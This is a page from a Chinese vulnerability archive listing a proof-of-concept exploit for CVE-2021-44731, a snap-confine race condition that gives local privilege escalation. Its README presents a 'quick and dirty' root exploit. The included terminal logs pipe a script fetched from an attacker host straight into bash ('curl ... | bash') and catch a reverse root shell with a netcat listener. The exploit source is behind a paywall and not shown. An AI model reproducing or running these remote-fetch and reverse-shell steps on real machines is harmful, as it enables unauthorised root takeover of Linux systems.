目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-44731 PoC — Snapd 竞争条件问题漏洞

来源
关联漏洞
标题: Snapd 竞争条件问题漏洞 (CVE-2021-44731)
Description:Snapd是开源的一个跨平台的包管理工具。 snapd 2.54.2版本存在竞争条件问题漏洞,该漏洞源于当为snap准备私有挂载命名空间时,snap2.54.2 snap- restricted二进制文件中存在一个竞争条件。这可能允许本地攻击者可利用该漏洞通过在snap的私有挂载名称空间中绑定挂载自己的内容,从而获得根权限,并执行任意代码,从而获得权限升级。
Description
Local Privilege Escalation Exploit for CVE-2021-44731
介绍
# CVE-2021-44731-snap-confine-SUID
Local Privilege Escalation Exploit for CVE-2021-44731, snap-confine 2.54.2 and lower

All credit to Qualys for finding this and providing a detailed exploit. 

https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt

Quick and Dirty snap-confine LPE. Will search for vulnerable version of snap-confine, if found will then exploit.

Returns a root shell, catch with netcat

```c
$id
uid=1001(vulnchain) gid=1001(vulnchain) groups=1001(vulnchain)
$ curl http://10.8.0.134/snap_confine_LPE.sh | bash
curl http://10.8.0.134/snap_confine_LPE.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2073  100  2073    0     0  28397      0 --:--:-- --:--:-- --:--:-- 28013
Non-vulnerable version found: 2.54.3
Vulnerable version found: 2.44.3 at /usr/lib/snapd/snap-confine
Vulnerable version found: 2.44.3 at /home/vulnchain/snap-confine
Performing actions with a vulnerable version...
Chosen vulnerable version: 2.44.3
```

## Root Shell
```c
┌──(root㉿kali)-[~]
└─# nc -lvnp 4447    
listening on [any] 4447 ...
connect to [10.8.0.134] from (UNKNOWN) [10.10.111.136] 56050
bash: cannot set terminal process group (609): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-10-14:/# id
id
uid=0(root) gid=0(root) groups=0(root),1001(vulnchain)
root@ip-10-10-10-14:/# 
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →